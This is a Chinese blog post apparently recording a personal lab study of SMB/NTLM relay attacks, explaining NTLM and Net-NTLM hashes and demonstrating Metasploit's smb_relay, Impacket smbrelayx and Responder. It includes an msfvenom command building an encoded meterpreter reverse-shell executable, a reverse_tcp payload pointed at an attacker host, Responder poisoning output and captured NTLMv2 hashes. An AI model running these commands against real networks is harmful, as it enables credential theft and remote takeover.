• smb中继学习


    前言

    有几个工具可以滥用 NTLM 身份验证。 其中之一就是 smbrelayx,它是 Core Security 的 impacket 库的一部分。 NTLMrelayx 是由我们团队开发的 smbrelayx 工具的扩展和部分重写。 它具有广泛的协议中继功能。 该工具接受多个目标,循环遍历每个目标以找到需要验证的系统。 该工具提供了一个 SMB 和 HTTP 服务器,它可以从这些服务器中继 NTLM 身份验证到 SMB、 HTTP、 IMAP、 LDAP 和 MSSQL。
    NTLM hash 和 Net-NTLM hash
    
    NTLM(V1/V2)的hash是存放在安全账户管理(SAM)数据库以及域控的NTDS.dit数据库中,获取该Hash值可以直接进行Pass the Hash攻击
    Net-NTLM(V1/V2)的hash值是基于用户密码的NTLM hash计算出来的,用于网络中的认证,步骤如下:
    客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前保存登录用户名和对应的密码 hash
    服务器接收到请求后,生成一个 16 位的随机数 (被称为 Challenge也就是挑战码), 明文返回客户端。使用存储的登录用户密码 hash 加密 Challenge,获得 Challenge1
    客户端接收到 Challenge 后,使用登录用户的密码 hash 对 Challenge 加密,获得 Challenge2(这个结果被称为 response),将 response 发送给服务器
    服务器接收客户端加密后的 response,比较 Challenge1 和 response,如果相同,验证成功
    在 NTLM 认证中,NTLM 响应分为 NTLM v1,NTLMv2,NTLM session v2 三种协议,不同协议使用不同格式的 Challenge 和加密算法,所以也就存在不同协议的 Net-NTLM hash,即 Net-NTLM v1 hash,Net-NTLM v2 hash。
    
    NTLM和SMB的关系
    SMB的认证可以基于NTLM协议或者kerberos协议,前者使用了hash,后者使用了ticket,是构成SMB的PtH和PtT攻击的基础。
    NTLM 并没有定义它所依赖的传输层协议。NTLM 消息的传输完全依赖于使用 NTLM 的上层协议来决定,可以是SMB,也可以是TCP,亦或HTTP。
    
    在我们深入了解之前,我们先弄清楚下面几个概念。
    
    NTLM、NTMLv1/v2、Net-NTMLv1/v2
    
    这是大部分人混淆的开始点,实际上这不是他们的错,因为几乎所有的文章都在介绍关于NTLMv1/v2的攻击。所以当人们看到Net-NTLMv1/v2时,都会想知道这两者到底是什么关系,到底一样不一样。
    
    长话短说:NTLMv1/v2和Net-NTLMv1/v2是相同的。但是,NTLM和Net-NTLM它们的hash类型则是截然不同。NTLM的hash存放在安全账户管理(SAM)数据库以及域控的NTDS.dit数据库中。它的格式如下:
    
    aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
    可能和你想得不同,LM的hash值是位于引号之前,NT的hash值是位于引号之后。从Windows VIsta和WIndows2008开始,系统默认值存放NT的hash值。Net—NTLM的hash是用于网络认证(他们的基于用户NT的hash值通过响应的算法产生的)。Net-NTLMv2的格式如下:
    
    admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030
    渗透测试过程中,你可以通过Pass the hash(PTH)攻击得到NTLM的hash值,不过你不可以通过这种方法得到Net-NTLM的hash值。你可以在任何windows操作系统下拖下SAM数据库,或者域控制器的NTDS数据库进而得到NTLM的hash。你也可以通过mimikatz从内存中读取到明文密码,虽然在windows
    
    8.1以上版本你不能得到明文密码,但是你还是可以从内存中得到NTLMhash值的。一些工具可以盗取NThash值,这就意味着我们可以进行PTH攻击。
    
    你可以使用像Responder或者Inveigh这些工具获得Net-NTLMv1/v2的hash。这篇文章就会介绍在普通渗透测试环境中,你得到Net-NTLM的hash之后你能干些什么。
    

    实验环境

    win10 192.168.1.102
    win7 192.168.1.101
    kali 192.168.1.104

    metasploit中的smb_relay 其实质是ms08068

    sf5 exploit(windows/smb/smb_relay) > show options 
    
    Module options (exploit/windows/smb/smb_relay):
    
       Name     Current Setting  Required  Description
       ----     ---------------  --------  -----------
       SHARE    ADMIN$           yes       The share to connect to
       SMBHOST                   no        The target SMB server (leave empty for originating system)
       SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
       SRVPORT  445              yes       The local port to listen on.
    
    
    Payload options (windows/meterpreter/reverse_tcp):
    
       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
       LHOST     192.168.1.104    yes       The listen address (an interface may be specified)
       LPORT     4444             yes       The listen port
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Automatic

    然后在我们的被攻击服务器win7执行一个访问共享命令 dir \192.168.1.104c$

     这里可以看见获取了NTMLV2hash 可以用hashcat试试爆破(我看见别人是直接通过认证获取到了session但是我无法实现,如果有实现成功请教教我)

    Impacket中的smbrelayx

    先生成一个msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.138.136 LPORT=4444 -e x64/shikata_ga_nai -f exe -o ~	est.exe

     然后开启smbrelayx 会在你到本地搭建一个401认证http服务和smb服务都录窃取hash

     但是我在win10中遇到了不安全的smb1.0协议

     http还是正常的认证

     这里应该和msf一样用的是ntmlV2HASH

    测试结果

    win7可以上线 win10不行

    Responder

    root@kali:~/Responder/tools# responder -I eth0 -wvrf
                                             __
      .----.-----.-----.-----.-----.-----.--|  |.-----.----.
      |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
      |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                       |__|
    
               NBT-NS, LLMNR & MDNS Responder 2.3.3.9
    
      Author: Laurent Gaffie (laurent.gaffie@gmail.com)
      To kill this script hit CRTL-C
    
    
    [+] Poisoners:
        LLMNR                      [ON]
        NBT-NS                     [ON]
        DNS/MDNS                   [ON]
    
    [+] Servers:
        HTTP server                [ON]
        HTTPS server               [ON]
        WPAD proxy                 [ON]
        Auth proxy                 [OFF]
        SMB server                 [ON]
        Kerberos server            [ON]
        SQL server                 [ON]
        FTP server                 [ON]
        IMAP server                [ON]
        POP3 server                [ON]
        SMTP server                [ON]
        DNS server                 [ON]
        LDAP server                [ON]
    
    [+] HTTP Options:
        Always serving EXE         [OFF]
        Serving EXE                [OFF]
        Serving HTML               [OFF]
        Upstream Proxy             [OFF]
    
    [+] Poisoning Options:
        Analyze Mode               [OFF]
        Force WPAD auth            [OFF]
        Force Basic Auth           [OFF]
        Force LM downgrade         [OFF]
        Fingerprint hosts          [ON]
    
    [+] Generic Options:
        Responder NIC              [eth0]
        Responder IP               [192.168.1.104]
        Challenge set              [random]
        Don't Respond To Names     ['ISATAP']
    
    
    
    [+] Listening for events...
    [SMBv2] NTLMv2-SSP Client   : 192.168.1.102
    [SMBv2] NTLMv2-SSP Username : DESKTOP-OLORVEQlocalhost
    [SMBv2] NTLMv2-SSP Hash     : localhost::DESKTOP-OLORVEQ:2df7ec2eb307243a:3AB1C32A8BA3E0F76501FBE2987B1F3B:0101000000000000C0653150DE09D201035420D463D1B30E000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000001000000002000002ABA9B5FF29A81FD3F68B40D0B41857433A30062A75F309D0CCCC9653DEC6E1C0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E0031002E003100300034000000000000000000
    [SMBv2] NTLMv2-SSP Client   : 192.168.1.102
    [SMBv2] NTLMv2-SSP Username : DESKTOP-OLORVEQlocalhost
    [SMBv2] NTLMv2-SSP Hash     : localhost::DESKTOP-OLORVEQ:1abee0e1d0bba3ae:D1653159D650CF06A606B52246347F2B:0101000000000000C0653150DE09D201ACE94392EAE548BA000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000001000000002000002ABA9B5FF29A81FD3F68B40D0B41857433A30062A75F309D0CCCC9653DEC6E1C0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E0031002E003100300034000000000000000000
    [SMBv2] NTLMv2-SSP Client   : 192.168.1.101
    [SMBv2] NTLMv2-SSP Username : WIN-7SNUC05VIJDAdministrator
    [SMBv2] NTLMv2-SSP Hash     : Administrator::WIN-7SNUC05VIJD:c0ae713cb7247343:D058E3784CB313CF07087B70FA547B58:0101000000000000C0653150DE09D2018C36640CC99378B2000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D2010600040002000000080030003000000000000000000000000030000023FB7E42CFAE1E1E26318DA320137DDE9CE4C3B9EEFF7CEB3CEFB5BED3B4C2AE0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E0031002E00310030003400000000000000000000000000
    [SMBv2] NTLMv2-SSP Client   : 192.168.1.101
    [SMBv2] NTLMv2-SSP Username : WIN-7SNUC05VIJDAdministrator
    [SMBv2] NTLMv2-SSP Hash     : Administrator::WIN-7SNUC05VIJD:0992a55a7a4398b6:CACD077AF62A8983D0917554755143FA:0101000000000000C0653150DE09D201FF08279C23AE502A000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D2010600040002000000080030003000000000000000000000000030000023FB7E42CFAE1E1E26318DA320137DDE9CE4C3B9EEFF7CEB3CEFB5BED3B4C2AE0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E0031002E00310030003400000000000000000000000000
    

     一般在渗透测试中 还是得配合nethash中继才有用 当然你也可以选择去john 破解他

    当然你得先更改rs conf 80 445 OFF

    这里我们配合rs里面的Murp

     

    切记 少就是多 慢就是快

    Refer

    https://cqureacademy.com/blog/penetration-testing/smb-relay-attack
    https://tools.kali.org/sniffingspoofing/responder
    https://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&mid=2247486180&idx=1&sn=b7c7c2b4534718fd7451e89a78a9b94c&chksm=9b392c55ac4ea5430e2d02529ac12ec0fdb6eb721c58e790e2d2b5f34c2c7d24ef8fe84d2cfe&mpshare=1&scene=23&srcid=0813utFhTzbO4nd7kL9bXqcu&sharer_sharetime=1597318714694&sharer_shareid=e276e863984dfd8ab735af2c385ee935#rd
    360 A-TEAM 带你走进 NTLM-Relay
    http://4hou.win/wordpress/?p=3578
    https://www.ivoidwarranties.tech/posts/pentesting-tuts/responder/multirelay-2.0/
    http://www.ethicalpentest.com/2018/05/llmnr-and-nbt-ns-poisoning-attack-using-responder-multirelay.html
    http://www.ethicalpentest.com/2018/05/llmnr-and-nbt-ns-poisoning-attack-using-responder-multirelay.html
    
  • 相关阅读:
    linux 免密登录
    mysql 重置从库
    elasticsearch原理及简介
    多线程编程--心得
    为什么我们做分布式使用Redis?
    JAVA-JVM调优
    JAVA-JVM调优标志
    Spirng-Mvc之Servlet篇
    Agent Job代理 执行SSIS Package
    Python之爬虫的理解
  • 原文地址:https://www.cnblogs.com/-zhong/p/13499277.html
Copyright © 2020-2023  润新知